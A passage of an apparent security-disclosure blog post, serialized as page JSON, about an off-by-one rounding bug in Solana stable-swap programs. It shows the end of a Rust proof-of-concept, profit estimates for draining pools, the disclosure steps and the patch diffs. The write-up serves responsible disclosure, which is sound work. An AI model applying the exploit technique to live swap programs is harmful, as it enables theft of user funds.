swap_instruction",{"type":26,"tag":475,"props":3401,"children":3402},{"style":714},[3403],{"type":32,"value":353},{"type":26,"tag":475,"props":3405,"children":3406},{"style":499},[3407],{"type":32,"value":3408},"data",{"type":26,"tag":475,"props":3410,"children":3411},{"style":714},[3412],{"type":32,"value":353},{"type":26,"tag":475,"props":3414,"children":3415},{"style":493},[3416],{"type":32,"value":3417},"append",{"type":26,"tag":475,"props":3419,"children":3420},{"style":499},[3421],{"type":32,"value":626},{"type":26,"tag":475,"props":3423,"children":3424},{"style":714},[3425],{"type":32,"value":2816},{"type":26,"tag":475,"props":3427,"children":3428},{"style":482},[3429],{"type":32,"value":3430},"mut",{"type":26,"tag":475,"props":3432,"children":3433},{"style":493},[3434],{"type":32,"value":3435}," vec!",{"type":26,"tag":475,"props":3437,"children":3438},{"style":499},[3439],{"type":32,"value":3440},"[",{"type":26,"tag":475,"props":3442,"children":3443},{"style":2375},[3444],{"type":32,"value":3445},"i",{"type":26,"tag":475,"props":3447,"children":3448},{"style":499},[3449],{"type":32,"value":637},{"type":26,"tag":475,"props":3451,"children":3452},{"style":2375},[3453],{"type":32,"value":3454},"extranonce",{"type":26,"tag":475,"props":3456,"children":3457},{"style":499},[3458],{"type":32,"value":3459},"]);\n",{"type":26,"tag":475,"props":3461,"children":3462},{"class":477,"line":862},[3463],{"type":26,"tag":475,"props":3464,"children":3465},{"emptyLinePlaceholder":18},[3466],{"type":32,"value":545},{"type":26,"tag":475,"props":3468,"children":3469},{"class":477,"line":885},[3470,3474,3478,3483,3487,3491],{"type":26,"tag":475,"props":3471,"children":3472},{"style":482},[3473],{"type":32,"value":2705},{"type":26,"tag":475,"props":3475,"children":3476},{"style":482},[3477],{"type":32,"value":2710},{"type":26,"tag":475,"props":3479,"children":3480},{"style":2375},[3481],{"type":32,"value":3482}," instructions",{"type":26,"tag":475,"props":3484,"children":3485},{"style":714},[3486],{"type":32,"value":2383},{"type":26,"tag":475,"props":3488,"children":3489},{"style":493},[3490],{"type":32,"value":3435},{"type":26,"tag":475,"props":3492,"children":3493},{"style":499},[3494],{"type":32,"value":3495},"[];\n",{"type":26,"tag":475,"props":3497,"children":3498},{"class":477,"line":913},[3499],{"type":26,"tag":475,"props":3500,"children":3501},{"emptyLinePlaceholder":18},[3502],{"type":32,"value":545},{"type":26,"tag":475,"props":3504,"children":3505},{"class":477,"line":926},[3506,3511,3515,3520,3524,3529],{"type":26,"tag":475,"props":3507,"children":3508},{"style":2375},[3509],{"type":32,"value":3510}," instructions",{"type":26,"tag":475,"props":3512,"children":3513},{"style":714},[3514],{"type":32,"value":353},{"type":26,"tag":475,"props":3516,"children":3517},{"style":493},[3518],{"type":32,"value":3519},"push",{"type":26,"tag":475,"props":3521,"children":3522},{"style":499},[3523],{"type":32,"value":626},{"type":26,"tag":475,"props":3525,"children":3526},{"style":2375},[3527],{"type":32,"value":3528},"swap_instruction",{"type":26,"tag":475,"props":3530,"children":3531},{"style":499},[3532],{"type":32,"value":3533},");\n",{"type":26,"tag":475,"props":3535,"children":3536},{"class":477,"line":948},[3537],{"type":26,"tag":475,"props":3538,"children":3539},{"emptyLinePlaceholder":18},[3540],{"type":32,"value":545},{"type":26,"tag":475,"props":3542,"children":3543},{"class":477,"line":966},[3544,3549,3553,3558,3562,3566,3571,3575,3579,3584,3588,3592,3596],{"type":26,"tag":475,"props":3545,"children":3546},{"style":2375},[3547],{"type":32,"value":3548}," env",{"type":26,"tag":475,"props":3550,"children":3551},{"style":714},[3552],{"type":32,"value":353},{"type":26,"tag":475,"props":3554,"children":3555},{"style":493},[3556],{"type":32,"value":3557},"execute_as_transaction",{"type":26,"tag":475,"props":3559,"children":3560},{"style":499},[3561],{"type":32,"value":626},{"type":26,"tag":475,"props":3563,"children":3564},{"style":714},[3565],{"type":32,"value":2816},{"type":26,"tag":475,"props":3567,"children":3568},{"style":2375},[3569],{"type":32,"value":3570},"instructions",{"type":26,"tag":475,"props":3572,"children":3573},{"style":499},[3574],{"type":32,"value":637},{"type":26,"tag":475,"props":3576,"children":3577},{"style":714},[3578],{"type":32,"value":2816},{"type":26,"tag":475,"props":3580,"children":3581},{"style":493},[3582],{"type":32,"value":3583},"vec!",{"type":26,"tag":475,"props":3585,"children":3586},{"style":499},[3587],{"type":32,"value":3440},{"type":26,"tag":475,"props":3589,"children":3590},{"style":714},[3591],{"type":32,"value":2816},{"type":26,"tag":475,"props":3593,"children":3594},{"style":2375},[3595],{"type":32,"value":3241},{"type":26,"tag":475,"props":3597,"children":3598},{"style":499},[3599],{"type":32,"value":3459},{"type":26,"tag":475,"props":3601,"children":3602},{"class":477,"line":979},[3603],{"type":26,"tag":475,"props":3604,"children":3605},{"style":499},[3606],{"type":32,"value":3607},"}\n",{"type":26,"tag":35,"props":3609,"children":3610},{},[3611],{"type":32,"value":3612},"It works!",{"type":26,"tag":2637,"props":3614,"children":3615},{},[3616],{"type":26,"tag":35,"props":3617,"children":3618},{},[3619],{"type":32,"value":3620},"holy shit\nyea, this is big",{"type":26,"tag":35,"props":3622,"children":3623},{},[3624],{"type":26,"tag":132,"props":3625,"children":3627},{"alt":7,"src":3626},"/posts/spl-swap/poc.png",[],{"type":26,"tag":27,"props":3629,"children":3631},{"id":3630},"exploitability",[3632],{"type":32,"value":3633},"Exploitability",{"type":26,"tag":35,"props":3635,"children":3636},{},[3637],{"type":32,"value":3638},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":26,"tag":35,"props":3640,"children":3641},{},[3642],{"type":32,"value":3643},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":26,"tag":35,"props":3645,"children":3646},{},[3647],{"type":32,"value":3648},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":26,"tag":35,"props":3650,"children":3651},{},[3652],{"type":26,"tag":132,"props":3653,"children":3655},{"alt":7,"src":3654},"/posts/spl-swap/pr.png",[],{"type":26,"tag":35,"props":3657,"children":3658},{},[3659,3661,3666],{"type":32,"value":3660},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":26,"tag":2615,"props":3662,"children":3663},{},[3664],{"type":32,"value":3665},"per instruction",{"type":32,"value":3667},". Transactions on Solana can also contain multiple instructions.",{"type":26,"tag":35,"props":3669,"children":3670},{},[3671],{"type":32,"value":3672},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":26,"tag":35,"props":3674,"children":3675},{},[3676,3678,3683],{"type":32,"value":3677},"Some quick napkin math confirms that this ",{"type":26,"tag":2615,"props":3679,"children":3680},{},[3681],{"type":32,"value":3682},"is",{"type":32,"value":3684}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":26,"tag":35,"props":3686,"children":3687},{},[3688],{"type":26,"tag":53,"props":3689,"children":3693},{"className":3690},[3691,3692],"language-math","math-inline",[3694],{"type":26,"tag":475,"props":3695,"children":3698},{"className":3696},[3697],"katex",[3699],{"type":26,"tag":475,"props":3700,"children":3704},{"className":3701,"ariaHidden":3703},[3702],"katex-html","true",[3705,3814,3870,3910],{"type":26,"tag":475,"props":3706,"children":3709},{"className":3707},[3708],"base",[3710,3716,3723,3787,3797,3803,3810],{"type":26,"tag":475,"props":3711,"children":3715},{"className":3712,"style":3714},[3713],"strut","height:0.8141em;",[],{"type":26,"tag":475,"props":3717,"children":3720},{"className":3718},[3719],"mord",[3721],{"type":32,"value":3722},"1",{"type":26,"tag":475,"props":3724,"children":3726},{"className":3725},[3719],[3727,3733],{"type":26,"tag":475,"props":3728,"children":3730},{"className":3729},[3719],[3731],{"type":32,"value":3732},"0",{"type":26,"tag":475,"props":3734,"children":3737},{"className":3735},[3736],"msupsub",[3738],{"type":26,"tag":475,"props":3739,"children":3742},{"className":3740},[3741],"vlist-t",[3743],{"type":26,"tag":475,"props":3744,"children":3747},{"className":3745},[3746],"vlist-r",[3748],{"type":26,"tag":475,"props":3749,"children":3752},{"className":3750,"style":3714},[3751],"vlist",[3753],{"type":26,"tag":475,"props":3754,"children":3756},{"style":3755},"top:-3.063em;margin-right:0.05em;",[3757,3763],{"type":26,"tag":475,"props":3758,"children":3762},{"className":3759,"style":3761},[3760],"pstrut","height:2.7em;",[],{"type":26,"tag":475,"props":3764,"children":3770},{"className":3765},[3766,3767,3768,3769],"sizing","reset-size6","size3","mtight",[3771],{"type":26,"tag":475,"props":3772,"children":3774},{"className":3773},[3719,3769],[3775,3781],{"type":26,"tag":475,"props":3776,"children":3778},{"className":3777},[3719,3769],[3779],{"type":32,"value":3780},"−",{"type":26,"tag":475,"props":3782,"children":3784},{"className":3783},[3719,3769],[3785],{"type":32,"value":3786},"8",{"type":26,"tag":475,"props":3788,"children":3790},{"className":3789},[3719,32],[3791],{"type":26,"tag":475,"props":3792,"children":3794},{"className":3793},[3719],[3795],{"type":32,"value":3796}," BTC",{"type":26,"tag":475,"props":3798,"children":3802},{"className":3799,"style":3801},[3800],"mspace","margin-right:0.2222em;",[],{"type":26,"tag":475,"props":3804,"children":3807},{"className":3805},[3806],"mbin",[3808],{"type":32,"value":3809},"∗",{"type":26,"tag":475,"props":3811,"children":3813},{"className":3812,"style":3801},[3800],[],{"type":26,"tag":475,"props":3815,"children":3817},{"className":3816},[3708],[3818,3823,3829,3836,3841,3847,3857,3861,3866],{"type":26,"tag":475,"props":3819,"children":3822},{"className":3820,"style":3821},[3713],"height:1em;vertical-align:-0.25em;",[],{"type":26,"tag":475,"props":3824,"children":3826},{"className":3825},[3719],[3827],{"type":32,"value":3828},"$41",{"type":26,"tag":475,"props":3830,"children":3833},{"className":3831},[3832],"mpunct",[3834],{"type":32,"value":3835},",",{"type":26,"tag":475,"props":3837,"children":3840},{"className":3838,"style":3839},[3800],"margin-right:0.1667em;",[],{"type":26,"tag":475,"props":3842,"children":3844},{"className":3843},[3719],[3845],{"type":32,"value":3846},"400/",{"type":26,"tag":475,"props":3848,"children":3850},{"className":3849},[3719,32],[3851],{"type":26,"tag":475,"props":3852,"children":3854},{"className":3853},[3719],[3855],{"type":32,"value":3856},"BTC",{"type":26,"tag":475,"props":3858,"children":3860},{"className":3859,"style":3801},[3800],[],{"type":26,"tag":475,"props":3862,"children":3864},{"className":3863},[3806],[3865],{"type":32,"value":3809},{"type":26,"tag":475,"props":3867,"children":3869},{"className":3868,"style":3801},[3800],[],{"type":26,"tag":475,"props":3871,"children":3873},{"className":3872},[3708],[3874,3879,3885,3895,3900,3906],{"type":26,"tag":475,"props":3875,"children":3878},{"className":3876,"style":3877},[3713],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":3880,"children":3882},{"className":3881},[3719],[3883],{"type":32,"value":3884},"150",{"type":26,"tag":475,"props":3886,"children":3888},{"className":3887},[3719,32],[3889],{"type":26,"tag":475,"props":3890,"children":3892},{"className":3891},[3719],[3893],{"type":32,"value":3894}," swaps",{"type":26,"tag":475,"props":3896,"children":3899},{"className":3897,"style":3898},[3800],"margin-right:0.2778em;",[],{"type":26,"tag":475,"props":3901,"children":3904},{"className":3902},[3903],"mrel",[3905],{"type":32,"value":786},{"type":26,"tag":475,"props":3907,"children":3909},{"className":3908,"style":3898},[3800],[],{"type":26,"tag":475,"props":3911,"children":3913},{"className":3912},[3708],[3914,3919],{"type":26,"tag":475,"props":3915,"children":3918},{"className":3916,"style":3917},[3713],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":26,"tag":475,"props":3920,"children":3922},{"className":3921},[3719],[3923],{"type":32,"value":3924},"$0.0621",{"type":26,"tag":35,"props":3926,"children":3927},{},[3928],{"type":32,"value":3929},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":26,"tag":35,"props":3931,"children":3932},{},[3933],{"type":32,"value":3934},"We're well on our way to becoming a millionaire!",{"type":26,"tag":27,"props":3936,"children":3938},{"id":3937},"patch",[3939],{"type":32,"value":3940},"Patch",{"type":26,"tag":35,"props":3942,"children":3943},{},[3944],{"type":32,"value":3945},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":26,"tag":35,"props":3947,"children":3948},{},[3949],{"type":32,"value":3950},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":26,"tag":465,"props":3952,"children":3956},{"code":3953,"language":3954,"meta":7,"className":3955,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[3957],{"type":26,"tag":53,"props":3958,"children":3959},{"__ignoreMap":7},[3960],{"type":26,"tag":475,"props":3961,"children":3962},{"class":477,"line":478},[3963,3967,3972,3977,3982,3987,3992],{"type":26,"tag":475,"props":3964,"children":3965},{"style":493},[3966],{"type":32,"value":2583},{"type":26,"tag":475,"props":3968,"children":3969},{"style":629},[3970],{"type":32,"value":3971}," logs",{"type":26,"tag":475,"props":3973,"children":3974},{"style":629},[3975],{"type":32,"value":3976}," -um",{"type":26,"tag":475,"props":3978,"children":3979},{"style":714},[3980],{"type":32,"value":3981}," |",{"type":26,"tag":475,"props":3983,"children":3984},{"style":493},[3985],{"type":32,"value":3986}," grep",{"type":26,"tag":475,"props":3988,"children":3989},{"style":629},[3990],{"type":32,"value":3991}," 'Instruction: Swap'",{"type":26,"tag":475,"props":3993,"children":3994},{"style":629},[3995],{"type":32,"value":3996}," -B1\n",{"type":26,"tag":35,"props":3998,"children":3999},{},[4000],{"type":32,"value":4001},"With some Google dorking, we were able to identify many of these programs.",{"type":26,"tag":465,"props":4003,"children":4005},{"code":4004},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[4006],{"type":26,"tag":53,"props":4007,"children":4008},{"__ignoreMap":7},[4009],{"type":32,"value":4004},{"type":26,"tag":35,"props":4011,"children":4012},{},[4013],{"type":32,"value":4014},"Now it was time to contact these teams.",{"type":26,"tag":35,"props":4016,"children":4017},{},[4018],{"type":32,"value":4019},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":26,"tag":35,"props":4021,"children":4022},{},[4023],{"type":32,"value":4024},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":26,"tag":465,"props":4026,"children":4028},{"code":4027,"language":2684,"meta":7,"className":2685,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[4029],{"type":26,"tag":53,"props":4030,"children":4031},{"__ignoreMap":7},[4032,4086,4098],{"type":26,"tag":475,"props":4033,"children":4034},{"class":477,"line":478},[4035,4040,4044,4049,4053,4058,4062,4066,4070,4074,4078,4082],{"type":26,"tag":475,"props":4036,"children":4037},{"style":714},[4038],{"type":32,"value":4039},"-",{"type":26,"tag":475,"props":4041,"children":4042},{"style":482},[4043],{"type":32,"value":2770},{"type":26,"tag":475,"props":4045,"children":4046},{"style":2375},[4047],{"type":32,"value":4048}," dy",{"type":26,"tag":475,"props":4050,"children":4051},{"style":714},[4052],{"type":32,"value":2383},{"type":26,"tag":475,"props":4054,"children":4055},{"style":2375},[4056],{"type":32,"value":4057}," swap_destination_amount",{"type":26,"tag":475,"props":4059,"children":4060},{"style":714},[4061],{"type":32,"value":353},{"type":26,"tag":475,"props":4063,"children":4064},{"style":493},[4065],{"type":32,"value":2943},{"type":26,"tag":475,"props":4067,"children":4068},{"style":499},[4069],{"type":32,"value":626},{"type":26,"tag":475,"props":4071,"children":4072},{"style":2375},[4073],{"type":32,"value":2821},{"type":26,"tag":475,"props":4075,"children":4076},{"style":499},[4077],{"type":32,"value":2835},{"type":26,"tag":475,"props":4079,"children":4080},{"style":714},[4081],{"type":32,"value":2863},{"type":26,"tag":475,"props":4083,"children":4084},{"style":499},[4085],{"type":32,"value":2729},{"type":26,"tag":475,"props":4087,"children":4088},{"class":477,"line":516},[4089,4093],{"type":26,"tag":475,"props":4090,"children":4091},{"style":714},[4092],{"type":32,"value":1106},{"type":26,"tag":475,"props":4094,"children":4095},{"style":552},[4096],{"type":32,"value":4097}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":26,"tag":475,"props":4099,"children":4100},{"class":477,"line":539},[4101,4105,4109,4113,4117,4121,4125,4129,4133,4137,4141,4145,4149,4153,4157,4161,4165],{"type":26,"tag":475,"props":4102,"children":4103},{"style":714},[4104],{"type":32,"value":1106},{"type":26,"tag":475,"props":4106,"children":4107},{"style":482},[4108],{"type":32,"value":2770},{"type":26,"tag":475,"props":4110,"children":4111},{"style":2375},[4112],{"type":32,"value":4048},{"type":26,"tag":475,"props":4114,"children":4115},{"style":714},[4116],{"type":32,"value":2383},{"type":26,"tag":475,"props":4118,"children":4119},{"style":2375},[4120],{"type":32,"value":4057},{"type":26,"tag":475,"props":4122,"children":4123},{"style":714},[4124],{"type":32,"value":353},{"type":26,"tag":475,"props":4126,"children":4127},{"style":493},[4128],{"type":32,"value":2943},{"type":26,"tag":475,"props":4130,"children":4131},{"style":499},[4132],{"type":32,"value":626},{"type":26,"tag":475,"props":4134,"children":4135},{"style":2375},[4136],{"type":32,"value":2821},{"type":26,"tag":475,"props":4138,"children":4139},{"style":499},[4140],{"type":32,"value":2835},{"type":26,"tag":475,"props":4142,"children":4143},{"style":714},[4144],{"type":32,"value":2840},{"type":26,"tag":475,"props":4146,"children":4147},{"style":493},[4148],{"type":32,"value":2943},{"type":26,"tag":475,"props":4150,"children":4151},{"style":499},[4152],{"type":32,"value":626},{"type":26,"tag":475,"props":4154,"children":4155},{"style":903},[4156],{"type":32,"value":3722},{"type":26,"tag":475,"props":4158,"children":4159},{"style":499},[4160],{"type":32,"value":2835},{"type":26,"tag":475,"props":4162,"children":4163},{"style":714},[4164],{"type":32,"value":2863},{"type":26,"tag":475,"props":4166,"children":4167},{"style":499},[4168],{"type":32,"value":2729},{"type":26,"tag":35,"props":4170,"children":4171},{},[4172,4174,4181],{"type":32,"value":4173},"For reference, here is the ",{"type":26,"tag":116,"props":4175,"children":4178},{"href":4176,"rel":4177},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[120],[4179],{"type":32,"value":4180},"Curve.fi implementation",{"type":32,"value":353},{"type":26,"tag":465,"props":4183,"children":4187},{"code":4184,"language":4185,"meta":7,"className":4186,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[4188],{"type":26,"tag":53,"props":4189,"children":4190},{"__ignoreMap":7},[4191,4253],{"type":26,"tag":475,"props":4192,"children":4193},{"class":477,"line":478},[4194,4199,4203,4208,4212,4217,4221,4226,4230,4235,4240,4244,4248],{"type":26,"tag":475,"props":4195,"children":4196},{"style":499},[4197],{"type":32,"value":4198}," dy",{"type":26,"tag":475,"props":4200,"children":4201},{"style":714},[4202],{"type":32,"value":179},{"type":26,"tag":475,"props":4204,"children":4205},{"style":505},[4206],{"type":32,"value":4207}," uint256",{"type":26,"tag":475,"props":4209,"children":4210},{"style":714},[4211],{"type":32,"value":2383},{"type":26,"tag":475,"props":4213,"children":4214},{"style":499},[4215],{"type":32,"value":4216}," xp[j] ",{"type":26,"tag":475,"props":4218,"children":4219},{"style":714},[4220],{"type":32,"value":4039},{"type":26,"tag":475,"props":4222,"children":4223},{"style":499},[4224],{"type":32,"value":4225}," y ",{"type":26,"tag":475,"props":4227,"children":4228},{"style":714},[4229],{"type":32,"value":4039},{"type":26,"tag":475,"props":4231,"children":4232},{"style":903},[4233],{"type":32,"value":4234}," 1",{"type":26,"tag":475,"props":4236,"children":4237},{"style":499},[4238],{"type":32,"value":4239}," # ",{"type":26,"tag":475,"props":4241,"children":4242},{"style":714},[4243],{"type":32,"value":4039},{"type":26,"tag":475,"props":4245,"children":4246},{"style":903},[4247],{"type":32,"value":3722},{"type":26,"tag":475,"props":4249,"children":4250},{"style":499},[4251],{"type":32,"value":4252}," just in case there were some rounding errors\n",{"type":26,"tag":475,"props":4254,"children":4255},{"class":477,"line":516},[4256,4261,4265,4269,4273,4278,4283,4288,4293],{"type":26,"tag":475,"props":4257,"children":4258},{"style":499},[4259],{"type":32,"value":4260}," dy_fee",{"type":26,"tag":475,"props":4262,"children":4263},{"style":714},[4264],{"type":32,"value":179},{"type":26,"tag":475,"props":4266,"children":4267},{"style":505},[4268],{"type":32,"value":4207},{"type":26,"tag":475,"props":4270,"children":4271},{"style":714},[4272],{"type":32,"value":2383},{"type":26,"tag":475,"props":4274,"children":4275},{"style":499},[4276],{"type":32,"value":4277}," dy ",{"type":26,"tag":475,"props":4279,"children":4280},{"style":714},[4281],{"type":32,"value":4282},"*",{"type":26,"tag":475,"props":4284,"children":4285},{"style":499},[4286],{"type":32,"value":4287}," self.fee ",{"type":26,"tag":475,"props":4289,"children":4290},{"style":714},[4291],{"type":32,"value":4292},"/",{"type":26,"tag":475,"props":4294,"children":4295},{"style":499},[4296],{"type":32,"value":4297}," FEE_DENOMINATOR\n",{"type":26,"tag":35,"props":4299,"children":4300},{},[4301,4303,4310],{"type":32,"value":4302},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":26,"tag":116,"props":4304,"children":4307},{"href":4305,"rel":4306},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[120],[4308],{"type":32,"value":4309},"original commit",{"type":32,"value":4311},", not as an additional security patch.",{"type":26,"tag":465,"props":4313,"children":4315},{"code":4314},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[4316],{"type":26,"tag":53,"props":4317,"children":4318},{"__ignoreMap":7},[4319],{"type":32,"value":4314},{"type":26,"tag":35,"props":4321,"children":4322},{},[4323,4325,4332],{"type":32,"value":4324},"The commit adding stable swaps to SPL was ",{"type":26,"tag":116,"props":4326,"children":4329},{"href":4327,"rel":4328},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[120],[4330],{"type":32,"value":4331},"made a few months later",{"type":32,"value":4333},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":26,"tag":465,"props":4335,"children":4337},{"code":4336},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[4338],{"type":26,"tag":53,"props":4339,"children":4340},{"__ignoreMap":7},[4341],{"type":32,"value":4336},{"type":26,"tag":35,"props":4343,"children":4344},{},[4345,4347,4354],{"type":32,"value":4346},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":26,"tag":116,"props":4348,"children":4351},{"href":4349,"rel":4350},"https://github.com/solana-labs/solana-program-library",[120],[4352],{"type":32,"value":4353},"the Solana Program Library",{"type":32,"value":353},{"type":26,"tag":35,"props":4356,"children":4357},{},[4358],{"type":32,"value":4359},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":26,"tag":35,"props":4361,"children":4362},{},[4363,4370],{"type":26,"tag":116,"props":4364,"children":4367},{"href":4365,"rel":4366},"https://github.com/joncinque",[120],[4368],{"type":32,"value":4369},"@joncinque",{"type":32,"value":4371}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":26,"tag":2637,"props":4373,"children":4374},{},[4375],{"type":26,"tag":35,"props":4376,"children":4377},{},[4378],{"type":32,"value":4379},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":26,"tag":35,"props":4381,"children":4382},{},[4383,4385,4392,4394,4400],{"type":32,"value":4384},"After some thought, he helped ",{"type":26,"tag":116,"props":4386,"children":4389},{"href":4387,"rel":4388},"https://github.com/solana-labs/solana-program-library/pull/2942",[120],[4390],{"type":32,"value":4391},"introduce a PR",{"type":32,"value":4393}," which ceilings the computation in ",{"type":26,"tag":53,"props":4395,"children":4397},{"className":4396},[],[4398],{"type":32,"value":4399},"compute_new_destination_amount",{"type":32,"value":4401}," to correctly round within the stable curve math library.",{"type":26,"tag":465,"props":4403,"children":4405},{"code":4404,"language":2684,"meta":7,"className":2685,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[4406],{"type":26,"tag":53,"props":4407,"children":4408},{"__ignoreMap":7},[4409,4417,4447,4474,4502,4526,4602,4706,4733,4828,4931,4958,4970,4989,5012],{"type":26,"tag":475,"props":4410,"children":4411},{"class":477,"line":478},[4412],{"type":26,"tag":475,"props":4413,"children":4414},{"style":552},[4415],{"type":32,"value":4416}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":26,"tag":475,"props":4418,"children":4419},{"class":477,"line":516},[4420,4425,4429,4434,4438,4443],{"type":26,"tag":475,"props":4421,"children":4422},{"style":482},[4423],{"type":32,"value":4424}," let",{"type":26,"tag":475,"props":4426,"children":4427},{"style":482},[4428],{"type":32,"value":2710},{"type":26,"tag":475,"props":4430,"children":4431},{"style":2375},[4432],{"type":32,"value":4433}," y_prev",{"type":26,"tag":475,"props":4435,"children":4436},{"style":714},[4437],{"type":32,"value":179},{"type":26,"tag":475,"props":4439,"children":4440},{"style":505},[4441],{"type":32,"value":4442}," U256",{"type":26,"tag":475,"props":4444,"children":4445},{"style":499},[4446],{"type":32,"value":2729},{"type":26,"tag":475,"props":4448,"children":4449},{"class":477,"line":539},[4450,4454,4458,4462,4466,4470],{"type":26,"tag":475,"props":4451,"children":4452},{"style":482},[4453],{"type":32,"value":4424},{"type":26,"tag":475,"props":4455,"children":4456},{"style":482},[4457],{"type":32,"value":2710},{"type":26,"tag":475,"props":4459,"children":4460},{"style":2375},[4461],{"type":32,"value":2715},{"type":26,"tag":475,"props":4463,"children":4464},{"style":714},[4465],{"type":32,"value":2383},{"type":26,"tag":475,"props":4467,"children":4468},{"style":2375},[4469],{"type":32,"value":2724},{"type":26,"tag":475,"props":4471,"children":4472},{"style":499},[4473],{"type":32,"value":2729},{"type":26,"tag":475,"props":4475,"children":4476},{"class":477,"line":548},[4477,4482,4486,4490,4494,4498],{"type":26,"tag":475,"props":4478,"children":4479},{"style":586},[4480],{"type":32,"value":4481}," for",{"type":26,"tag":475,"props":4483,"children":4484},{"style":2375},[4485],{"type":32,"value":2742},{"type":26,"tag":475,"props":4487,"children":4488},{"style":482},[4489],{"type":32,"value":2747},{"type":26,"tag":475,"props":4491,"children":4492},{"style":903},[4493],{"type":32,"value":2752},{"type":26,"tag":475,"props":4495,"children":4496},{"style":714},[4497],{"type":32,"value":2757},{"type":26,"tag":475,"props":4499,"children":4500},{"style":499},[4501],{"type":32,"value":2762},{"type":26,"tag":475,"props":4503,"children":4504},{"class":477,"line":558},[4505,4509,4514,4518,4522],{"type":26,"tag":475,"props":4506,"children":4507},{"style":714},[4508],{"type":32,"value":4039},{"type":26,"tag":475,"props":4510,"children":4511},{"style":2375},[4512],{"type":32,"value":4513}," 